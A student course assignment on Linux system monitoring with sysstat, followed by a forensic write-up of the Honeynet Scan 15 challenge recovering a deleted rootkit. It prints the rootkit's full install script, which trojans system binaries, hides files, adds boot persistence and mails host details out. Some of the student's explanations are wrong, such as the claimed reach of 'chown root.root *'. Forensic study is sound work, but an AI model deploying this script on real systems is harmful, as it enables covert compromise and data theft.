This is an assignment h5 - Linux palvelimet ICT4TN021-8 in Haaga-Helia University of Applied Sciences

In this assignment we needed to get more into SSH-daemon and system monitoring. Along side that we had a forensic exercise in which we needed to study files from an old recovered image of a partition that contained rootkit.

SSH

Configurating SSH was covered already in Installing SSH.

sysstat

sysstat contains various different utilities for monitoring system performance and usage activity. With these utilities you can create statistics of your system’s performance and easily pinpoint time and reason for many different issues in your system. Most common of these utilities are iostat, pidstat and sar. Following examples are demonstrated on my local computer Lenovo Z710 which is running Arch Linux x86_64.

Before you start using these utilities you need to enable data collecting for systat:

$ sudo emacs /etc/default/sysstat

There change the line of ENABLED="false" to ENABLED="true" or insert it if its not existing.

Then start/restart sysstat service:

$ sudo systemctl start sysstat

To enable sysstat at boot:

$ sudo systemctl enable sysstat

Testing the working of sysstat with sar command:

$ sar -P ALL             
Linux 4.15.3-2-ARCH (arch) 	21.02.2018 	_x86_64_	(8 CPU)

14:34:05     LINUX RESTART	(8 CPU)

And it seems to be working!

iostat

iostat reports CPU statistics from your system but also I/O statistics for your block devices and partitions.

iostat activity from my local computer

$ iostat -h
Linux 4.15.3-2-ARCH (arch) 	22.02.2018 	_x86_64_	(8 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           0,8%    0,0%    0,2%    0,2%    0,0%   98,8%

Device             tps    kB_read/s    kB_wrtn/s    kB_read    kB_wrtn
sda
                 11,51       245,3k        78,7k     440,4M     141,3M

Flag -h turns the output of the iostat command to human readable form. First line Linux 4.15.3-2-ARCH (arch) 22.02.2018 _x86_64_ (8 CPU) tells information about the system in use. You can see here that I’m running the latest Linux kernel version 4.15.3 (well as in 22.2.2018 the latest stable kernel version was 4.15.4 but it hadn’t arrived to Arch yet). Following that is the date and system’s architecture, x86_64, which in my case is 64-bit. Lastly you can see how many CPUs are in use in my system.

Next line:

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           0,8%    0,0%    0,2%    0,2%    0,0%   98,8%

Tells the average CPU usage in my computer since boot. man iostat gives information about what, for example, %user means in this report:

$ man iostat
	   CPU Utilization Report
              The first report generated by the iostat command is the CPU Utilization Report. For multiprocessor systems, the CPU values are global averages among all processors.  The report has the follow‐
              ing format:

              %user
                     Show the percentage of CPU utilization that occurred while executing at the user level (application).

              %nice
                     Show the percentage of CPU utilization that occurred while executing at the user level with nice priority.

              %system
                     Show the percentage of CPU utilization that occurred while executing at the system level (kernel).

              %iowait
                     Show the percentage of time that the CPU or CPUs were idle during which the system had an outstanding disk I/O request.

              %steal
                     Show the percentage of time spent in involuntary wait by the virtual CPU or CPUs while the hypervisor was servicing another virtual processor.

              %idle
                     Show the percentage of time that the CPU or CPUs were idle and the system did not have an outstanding disk I/O request.

As you can see my system doesn’t use that much CPU on average since most of the usage is %idle. I quite often run relatively light softwares, e.g. text editor (emacs) and many terminals, with usually the most demanding software being web browser. I also run quite minimal setup (Arch Linux with i3 window manager and no desktop environment or display manager) altogether on my system which requires very little work from my CPUs.

Next line in iostat output reports the usage of your devices on your system:

Device             tps    kB_read/s    kB_wrtn/s    kB_read    kB_wrtn
sda
                 11,51       245,3k        78,7k     440,4M     141,3M

Again man iostat gives nice explanation of device report:

$ man iostat
       Device Utilization Report
              The  second report generated by the iostat command is the Device Utilization Report. The device report provides statistics on a per physical device or partition basis. Block devices and parti‐
              tions for which statistics are to be displayed may be entered on the command line.  If no device nor partition is entered, then statistics are displayed for every device used  by  the  system,
              and  providing  that  the  kernel maintains statistics for it.  If the ALL keyword is given on the command line, then statistics are displayed for every device defined by the system, including
              those that have never been used.  Transfer rates are shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used.  The  report
              may show the following fields, depending on the flags used:

              Device:
                     This column gives the device (or partition) name as listed in the /dev directory.

              tps
                     Indicate  the  number  of  transfers  per  second that were issued to the device. A transfer is an I/O request to the device. Multiple logical requests can be combined into a single I/O
                     request to the device. A transfer is of indeterminate size.

              Blk_read/s (kB_read/s, MB_read/s)
                     Indicate the amount of data read from the device expressed in a number of blocks (kilobytes, megabytes) per second. Blocks are equivalent to sectors and therefore have  a  size  of  512
                     bytes.

              Blk_wrtn/s (kB_wrtn/s, MB_wrtn/s)
                     Indicate the amount of data written to the device expressed in a number of blocks (kilobytes, megabytes) per second.

              Blk_read (kB_read, MB_read)
                     The total number of blocks (kilobytes, megabytes) read.

              Blk_wrtn (kB_wrtn, MB_wrtn)
                     The total number of blocks (kilobytes, megabytes) written.

Again this part tells you how much data you’ve written to your devices and also read from your devices. I only have one device, /dev/sda, so obviously it only shows it as a devices. /dev/sda represents my block device, which contains all my hard drive partitions.

pidstat

pidstat reports similar usage percents as iostat but for your Linux tasks/processes.

pidstat activity from my local computer:

$ pidstat
Linux 4.15.3-2-ARCH (arch) 	22.02.2018 	_x86_64_	(8 CPU)

12.33.43      UID       PID    %usr %system  %guest   %wait    %CPU   CPU  Command
12.33.43        0         1    0,04    0,28    0,00    0,08    0,32     0  systemd
12.33.43        0         5    0,00    0,02    0,00    0,00    0,02     2  kworker/u16:0
12.33.43        0         8    0,01    0,00    0,00    0,01    0,01     0  rcu_preempt
12.33.43        0        19    0,00    0,01    0,00    0,00    0,01     1  rcuc/1
12.33.43        0       126    0,00    0,02    0,00    0,01    0,02     3  kworker/3:1
12.33.43        0       262    0,02    0,07    0,00    0,00    0,09     6  systemd-journal
12.33.43        0       282    0,25    0,03    0,00    0,01    0,29     2  systemd-udevd
12.33.43        0       409    0,00    0,01    0,00    0,00    0,01     7  irq/29-iwlwifi
12.33.43    62583       499    0,00    0,02    0,00    0,00    0,02     4  systemd-timesyn
12.33.43       81       502    0,04    0,00    0,00    0,00    0,04     7  dbus-daemon
12.33.43        0       503    0,09    0,03    0,00    0,00    0,12     6  NetworkManager
12.33.43        0       504    0,01    0,01    0,00    0,00    0,02     2  systemd-logind
12.33.43        0       518    0,01    0,01    0,00    0,00    0,02     1  login
12.33.43        0       521    0,01    0,00    0,00    0,00    0,01     0  wpa_supplicant
12.33.43      102       522    0,02    0,02    0,00    0,00    0,04     5  polkitd
12.33.43     1000       550    0,01    0,01    0,00    0,00    0,02     6  systemd
12.33.43     1000       583    0,17    0,11    0,00    0,02    0,29     2  Xorg
12.33.43     1000       592    0,03    0,02    0,00    0,00    0,05     4  i3
12.33.43     1000       597    0,07    0,02    0,00    0,00    0,09     4  nm-applet
12.33.43     1000       601    0,02    0,00    0,00    0,00    0,02     4  i3bar
12.33.43     1000       603    0,01    0,10    0,00    0,00    0,11     6  i3status
12.33.43     1000       605    0,02    0,02    0,00    0,00    0,04     1  pulseaudio
12.33.43     1000       629    1,96    0,17    0,00    0,02    2,13     2  emacs
12.33.43     1000       653    0,07    0,02    0,00    0,00    0,08     4  urxvt
12.33.43     1000       654    0,02    0,02    0,00    0,00    0,04     2  zsh
12.33.43     1000       699    0,02    0,02    0,00    0,00    0,04     6  zsh
12.33.43     1000       738    0,01    0,00    0,00    0,00    0,01     1  ssh
12.33.43     1000       740    0,03    0,01    0,00    0,00    0,04     4  urxvt
12.33.43     1000       741    0,02    0,02    0,00    0,00    0,03     6  zsh

Running pidstat without any flags only shows CPU activity of currently running processes. But with different flags you can print more detailed information about your system’s processes. First line is similar to iostat so it shows information about your system. Reporting is also similar to iostat with different lines being UID and PID. UID shows the real user identification number of the task being monitored. You can list the users corresponding to each user by cat /etc/passwd.

Here is a list of users in my system:

$ cat /etc/passwd
root:x:0:0::/root:/bin/bash
systemd-coredump:x:979:979:systemd Core Dumper:/:/sbin/nologin
mail:x:12:12::/var/spool/mail:/sbin/nologin
systemd-network:x:982:982:systemd Network Management:/:/sbin/nologin
systemd-journal-remote:x:980:980:systemd Journal Remote:/:/sbin/nologin
dbus:x:81:81:System Message Bus:/:/sbin/nologin
http:x:33:33::/srv/http:/sbin/nologin
bin:x:1:1::/:/sbin/nologin
ftp:x:14:11::/srv/ftp:/sbin/nologin
systemd-resolve:x:981:981:systemd Resolver:/:/sbin/nologin
nobody:x:65534:65534:Nobody:/:/sbin/nologin
daemon:x:2:2::/:/sbin/nologin
uuidd:x:68:68::/:/sbin/nologin
topi:x:1000:990:Topi Kettunen:/home/topi:/bin/zsh
avahi:x:978:978:Avahi mDNS/DNS-SD daemon:/:/sbin/nologin
colord:x:977:977:Color management daemon:/var/lib/colord:/sbin/nologin
polkitd:x:102:102:PolicyKit daemon:/:/sbin/nologin
usbmux:x:140:140:usbmux user:/:/sbin/nologin
rtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin
git:x:976:976:git daemon user:/:/usr/bin/git-shell
postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash

As you can see different software require its own user to function properly. Most of these user contain the line /sbin/nologin which indicates that you can’t login with these users, which could otherwise be a security threat.

Another different line in the device report is the PID line which simply indicates the identification line for process being monitored.

sar

sar command collects, reports and saves wide variety of different activity information from your system. Here is a list of all the data that sar collects (from sysstat’s GitHub page):

System statistics collected by sar:

  • Input / Output and transfer rate statistics (global, per device, per partition and per network filesystem)

  • CPU statistics (global and per CPU), including support for virtualization architectures

  • Memory, hugepages and swap space utilization statistics

  • Virtual memory, paging and fault statistics

  • Process creation activity

  • Interrupt statistics (global, per CPU and per interrupt, including potential APIC interrupt sources, hardware and software interrupts)

  • Extensive network statistics: network interface activity (number of packets and kB received and transmitted per second, etc.) including failures from network devices; network traffic statistics for IP, TCP, ICMP and UDP protocols based on SNMPv2 standards; support for IPv6-related protocols

  • Fibre Channel traffic statistics

  • Software-based network processing (softnet) statistics

  • NFS server and client activity

  • Sockets statistics

  • Run queue and system load statistics

  • Kernel internal tables utilization statistics

  • Swapping statistics

  • TTY devices activity

  • Power management statistics (instantaneous and average CPU clock frequency, fans speed, devices temperature, voltage inputs)

  • USB devices plugged into the system

  • Filesystems utilization (inodes and blocks)

sar activity on my server, which is running Ubuntu 16.04, from a time period of 12 hours.

$ sar
Linux 4.4.0-112-generic (linux-palvelimet) 	02/22/2018 	_x86_64_	(1 CPU)

12:00:01 AM     CPU     %user     %nice   %system   %iowait    %steal     %idle
12:05:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.92
12:15:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
12:25:01 AM     all      0.13      0.00      0.06      0.00      0.00     99.81
12:35:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.91
12:45:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
12:55:01 AM     all      0.03      0.00      0.03      0.00      0.00     99.93
01:05:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.92
01:15:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
01:25:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
01:35:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.92
01:45:01 AM     all      0.04      0.00      0.06      0.00      0.00     99.90
01:55:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
02:05:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.92
02:15:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
02:25:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.93
02:35:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.92
02:45:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
02:55:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.92
03:05:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
03:15:01 AM     all      0.05      0.00      0.04      0.00      0.00     99.91
03:25:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.92
03:35:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.92
03:45:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
03:55:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.93
04:05:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.92
04:15:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
04:25:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
04:35:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
04:45:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
04:55:01 AM     all      0.02      0.00      0.05      0.00      0.00     99.93
05:05:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
05:15:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
05:25:01 AM     all      0.04      0.00      0.03      0.00      0.00     99.93
05:35:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.91
05:45:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
05:55:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
06:05:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.92
06:15:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
06:25:01 AM     all      0.03      0.00      0.04      0.00      0.02     99.91
06:35:01 AM     all      0.29      0.00      0.23      0.03      0.28     99.17
06:45:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
06:55:01 AM     all      1.20      0.77      0.40      0.03      0.00     97.60
07:05:01 AM     all      0.14      0.00      0.12      0.00      0.00     99.74
07:15:01 AM     all      0.05      0.00      0.05      0.00      0.00     99.90
07:25:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
07:35:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
07:45:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
07:55:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
08:05:01 AM     all      0.02      0.00      0.04      0.00      0.00     99.93
08:15:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
08:25:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
08:35:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.93
08:45:01 AM     all      0.04      0.00      0.06      0.00      0.00     99.89

08:45:01 AM     CPU     %user     %nice   %system   %iowait    %steal     %idle
08:55:01 AM     all      0.03      0.00      0.06      0.00      0.00     99.91
09:05:01 AM     all      0.04      0.00      0.06      0.00      0.00     99.91
09:15:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.91
09:25:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.91
09:35:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
09:45:01 AM     all      0.04      0.00      0.06      0.00      0.00     99.90
09:55:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.92
10:05:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.93
10:15:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
10:25:01 AM     all      0.03      0.00      0.04      0.00      0.00     99.92
10:35:01 AM     all      0.06      0.00      0.06      0.00      0.00     99.88
10:45:01 AM     all      0.05      0.00      0.05      0.00      0.00     99.90
10:55:01 AM     all      0.04      0.00      0.04      0.00      0.00     99.91
11:05:01 AM     all      0.03      0.00      0.05      0.00      0.00     99.92
11:15:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
11:25:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
11:35:01 AM     all      0.04      0.00      0.05      0.00      0.00     99.90
11:45:01 AM     all      0.04      0.00      0.06      0.00      0.00     99.91
11:55:01 AM     all      0.82      0.86      0.21      0.01      0.00     98.10
12:05:01 PM     all      0.03      0.00      0.06      0.00      0.00     99.91
12:15:01 PM     all      0.14      0.00      0.07      0.01      0.00     99.78
12:25:01 PM     all      0.04      0.00      0.05      0.00      0.00     99.91
12:35:01 PM     all      0.03      0.00      0.06      0.00      0.00     99.91
Average:        all      0.07      0.02      0.06      0.00      0.01     99.84

Without any flags sar only reports CPU activity, so the data is similar to sysstat utilities above, but adding flags you can collect, report and save pretty much any system information from any time period you want. Read more about sar from its man page:

$ man sar

Forensic - Honeynet Scan of The Month 15

Scan 15

The Challenge:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly recommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partition for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

  1. Show step by step how you identify and recover the deleted rootkit from the / partition.
  2. What files make up the deleted rootkit?

Bonus Question: Was the rootkit ever actually installed on the system? How do you know?

Using Arch Linux x86_64 on Lenovo Z710. I also use Zsh as my shell, so some outputs might differ from Bash outputs.

Since Honeynet provided MD5 sums for these files, I start this analysis by checking the MD5 sum for these files so I can verify that I’m working with the correct files.

$ md5sum honeynet.tar.gz
0dff8fb9fe022ea80d8f1a4e4ae33e21  honeynet.tar.gz

When we compare that sum to the MD5 sum we were provided above (MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21), we can confirm that the tarball is correct.

Extract Honeynet tarball:

$ tar -xzvf honeynet.tar.gz

You can run tar command with many different flags. For example I used flags -xzvf, which means:

  • -x stands for extracting files.

  • -z filters the archive through gzip

  • -v stands for verbose, which lists the files processed verbosely

  • -f stands for file. When extracting tarballs this flag should always come last, since then it uses the tarballs name as an archive name for the extracted folder.

After extraction we need to check the MD5 sum again to verify that the partition image is correct:

$ md5sum honeypot.hda8.dd 
5a8ebf5725b15e563c825be85f2f852e  honeypot.hda8.dd

Again when we compare it to the MD5 sum we were provided above (MD5=5a8ebf5725b15e563c825be85f2f852e), we can confirm that the file is correct.

Install forensic tools on Arch Linux:

$ sudo pacman -S sleuthkit

This install the The Sleuth Kit from Arch’s package manager Pacman. TSK provides many different tools for forensic analysis but in this assignment we are using tsk_recover. With tsk_recover we can export files from an image into a local directory. Without any flags tsk_recover only recovers unallocated, e.g. deleted files, but with flags it can export all files if necessary. To recover files run commands:

$ mkdir allocated unallocated

$ tsk_recover -a honeypot.hda8.dd allocated/
Files Recovered: 1614

$ tsk_recover honeypot.hda8.dd unallocated/
Files Recovered: 37

After recovery I went to unallocated directory and started looking at the deleted files.

$ cd honeynet/unallocated

$ ls -a
 .   ..   etc   lk.tgz  '$OrphanFiles'

I saw this tarball called lk.tgz as one of the deleted files, so I decided to extract it:

$ tar -xvzf lk.tgz

This extracted directory called last which contained the following files:

$ cd last

$ ls -l
total 1460
-rwxr-xr-x 1 topi users   1345  9. 9.  1999 cleaner
-rwxr-xr-x 1 topi users  19840 26. 2.  2001 ifconfig
-rw-r--r-- 1 topi users   3278 27. 1.  2001 inetd.conf
-rwx------ 1 topi users   3713  3. 3.  2001 install
-rwxr-xr-x 1 topi users   4620 26. 2.  2001 last.cgi
-rwx------ 1 topi users   7165 26. 2.  2001 linsniffer
-rwx------ 1 topi users     75 26. 2.  2001 logclear
-rwxr-xr-x 1 topi users     79 26. 2.  2001 lsattr
-rwxr-xr-x 1 topi users 632066 26. 2.  2001 mkxfs
-rwxr-xr-x 1 topi users  35300 26. 2.  2001 netstat
-rw-r--r-- 1 topi users      1 26. 2.  2001 pidfile
-rwxr-xr-x 1 topi users  33280 26. 2.  2001 ps
-rw-r--r-- 1 topi users    708  3. 3.  2001 s
-rwxr-xr-x 1 topi users   4060 26. 2.  2001 sense
-rw-r--r-- 1 topi users  11407 27. 1.  2001 services
-rwx------ 1 topi users   8268 26. 2.  2001 sl2
-rwxr-xr-x 1 topi users 611931  8. 2.  2002 ssh
-rw-r--r-- 1 topi users    880 22.10.  2000 ssh_config
-rw-r--r-- 1 topi users    688 26. 2.  2001 sshd_config
-rw------- 1 topi users    540 22.10.  2000 ssh_host_key
-rw-r--r-- 1 topi users    344 22.10.  2000 ssh_host_key.pub
-rw------- 1 topi users    512 22.10.  2000 ssh_random_seed
-rwxr-xr-x 1 topi users  53588 26. 2.  2001 top

As you can see most of the files in this folder are executable files. You can see which files are executable by finding letter x in the beginning of the line, e.g. -rwxr-xr-x. All of the files contained in this folder are also different sysadmin configurations or sysadmin utilities. Since we have the assumption that there are rootkit somewhere in this partition, ssh configurations in this directory arouses suspicion. Especially file sshd_config caught my eye since I know that it contains the system wide configurations for SSH-daemon. So I decided to take a look into it:

$ less sshd_config
# This is ssh server systemwide configuration file.

Port 22
ListenAddress 0.0.0.0
HostKey /dev/ida/.drag-on/
RandomSeed /dev/ida/.drag-on/
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode no
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
PidFile /dev/ida/.drag-on/pidfile
# AllowHosts *.our.com friend.other.com
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

Alarming lines in this configuration are HostKey and RandomSeed lines. Since the file locations seem quite odd. Another alarming line was PermitRootLogin.

Folder also contained file called cleaner, which just cleans the logs of the system. File install also caught my eyes so I decided to see what it contained:

$ less install
#!/bin/sh
clear
unset HISTFILE
echo    "********* Instalarea Rootkitului A Pornit La Drum *********"
echo    "********* Mircea SUGI PULA ********************************"
echo    "********* Multumiri La Toti Care M-Au Ajutat **************" 
echo    "********* Lemme Give You A Tip : **************************"
echo    "********* Ignore everything, call your freedom ************"
echo    "********* Scream & swear as much as you can ***************"
echo    "********* Cuz anyway nobody will hear you and no one will *"
echo    "********* Care about you **********************************"
echo
echo
chown root.root *
if [ -f /usr/bin/make ]; then
    echo "Are Make !"
else
    echo "Nu Are Make !"
fi
if [ -f /usr/bin/gcc ]; then
    echo "Are Gcc !"
else
    echo "Nu Are Gcc !"
fi
if [ -f /usr/sbin/sshd/ ]; then
    echo "Are Ssh !"
else 
    echo "Nu Are Ssh !"
fi
echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo -n "* Dev... "
echo
echo
touch /dev/rpm
>/dev/rpm
echo "3 sl2" >>/dev/rpm
echo "3 sshdu" >>/dev/rpm
echo "3 linsniffer" >>/dev/rpm
echo "3 smurf" >>/dev/rpm
echo "3 slice" >>/dev/rpm
echo "3 mech" >>/dev/rpm
echo "3 muh" >>/dev/rpm
echo "3 bnc" >>/dev/rpm
echo "3 psybnc" >> /dev/rpm
touch /dev/last
>/dev/last
echo "1 193.231.139" >>/dev/last
echo "1 213.154.137" >>/dev/last
echo "1 193.254.34" >>/dev/last
echo "3 48744" >>/dev/last
echo "3 3666" >>/dev/last
echo "3 31221" >>/dev/last
echo "3 22546" >>/dev/last
echo "4 48744" >>/dev/last
echo "4 2222" >>/dev/last
echo "* Gata"

echo "* Facem Director...Si Mutam Alea.. "
mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
echo "* Copiem ssh si alea"
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. "
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log

cp -f inetd.conf /etc
cp -f services /etc
killall -HUP inetd
echo 
echo
echo
echo "* Adaugam In Startup:) ..."
rm -rf /usr/bin/lsattr
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
chattr +i /usr/bin/lsattr
/usr/bin/lsattr

sleep 1

if [ -d /home/httpd/cgi-bin ]
then
mv -f last.cgi /home/httpd/cgi-bin/
fi

if [ -d /usr/local/httpd/cgi-bin ]
then
mv -f last.cgi /usr/local/httpd/cgi-bin/
fi

if [ -d /usr/local/apache/cgi-bin ]
then
mv -f last.cgi /usr/local/apache/cgi-bin/
fi 

if [ -d /www/httpd/cgi-bin ]
then
mv -f last.cgi /www/httpd/cgi-bin/
fi

if [ -d /www/cgi-bin ]
then
mv -f last.cgi /www/cgi-bin/
fi

echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" [email protected]
cat computer | mail -s "roote" [email protected]
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "
cd /
rm -rf last lk.tgz computer lk.tar.gz


Here we can see the installation file for what I assume is rootkit. File is a shell script that contains many different dangerous commands for your system. One of the first lines in the script is chown root.root * which sets user and group to root to every file, which is indicated by *, in the system. After this regular user without root privileges cant use any files in the system.

Then the file deletes various sysadmin utilities from the system, e.g. ps, netstat, ifconfig and top, which are quite necessary for any Linux system. After deletion it replaces these files with the “same” utilities from the last directory. Utilities in the last were in binary form so they were unreadable. So it is hard to say what they contained.

After that file makes new /dev/ directories called /dev/rpm and /dev/last. I’m not entirely sure whats the reason behind these directories.

Then the file makes the /dev/ida directories which were the same that were in the SSH-daemon configurations. Then it moves many different files to these directories including ssh_host_key and ssh_random_seed.

ssh_random_seed is a security layer in SSH that implements randomness and entropy to your SSH connections to make these more secure. They contain sensitive information that can weaken SSH’s security if disclosed to an attacker. ssh_host_key on the other hand is a key for authenticating computers in the SSH protocol. These keys should be unique to each host, i.e. computer, and sharing these keys is often not recommended. Since sharing these keys can lead to man-in-the-middle attacks. In MITM attack attacker sits in the middle and negotiates different cryptographic parameters with the client and the server.

After these the file does configurations to inetd, sysinit and cgi. I’m not super familiar with the working of inetd (Internet Service Daemon), sysinit and CGI (Common Gateway Interface) so I’m not entirely sure what it does here.

Lastly it gathers up information about the computer to a file called computer and sends it to [email protected] and [email protected]. After that it deletes all the files related to this rootkit.

So the answers to the questions in this Scan of the Month:

  • Show step by step how you identify and recover the deleted rootkit from the / partition.
$ tsk_recover honeypot.hda8.dd unallocated/
Files Recovered: 37
  • What files make up the deleted rootkit?
$ ls -l
total 1460
-rwxr-xr-x 1 topi users   1345  9. 9.  1999 cleaner
-rwxr-xr-x 1 topi users  19840 26. 2.  2001 ifconfig
-rw-r--r-- 1 topi users   3278 27. 1.  2001 inetd.conf
-rwx------ 1 topi users   3713  3. 3.  2001 install
-rwxr-xr-x 1 topi users   4620 26. 2.  2001 last.cgi
-rwx------ 1 topi users   7165 26. 2.  2001 linsniffer
-rwx------ 1 topi users     75 26. 2.  2001 logclear
-rwxr-xr-x 1 topi users     79 26. 2.  2001 lsattr
-rwxr-xr-x 1 topi users 632066 26. 2.  2001 mkxfs
-rwxr-xr-x 1 topi users  35300 26. 2.  2001 netstat
-rw-r--r-- 1 topi users      1 26. 2.  2001 pidfile
-rwxr-xr-x 1 topi users  33280 26. 2.  2001 ps
-rw-r--r-- 1 topi users    708  3. 3.  2001 s
-rwxr-xr-x 1 topi users   4060 26. 2.  2001 sense
-rw-r--r-- 1 topi users  11407 27. 1.  2001 services
-rwx------ 1 topi users   8268 26. 2.  2001 sl2
-rwxr-xr-x 1 topi users 611931  8. 2.  2002 ssh
-rw-r--r-- 1 topi users    880 22.10.  2000 ssh_config
-rw-r--r-- 1 topi users    688 26. 2.  2001 sshd_config
-rw------- 1 topi users    540 22.10.  2000 ssh_host_key
-rw-r--r-- 1 topi users    344 22.10.  2000 ssh_host_key.pub
-rw------- 1 topi users    512 22.10.  2000 ssh_random_seed
-rwxr-xr-x 1 topi users  53588 26. 2.  2001 top

  • Was the rootkit ever actually installed on the system? How do you know?

Yes, based on the SSH configurations and new binaries of different sysadmin utilities.

Resources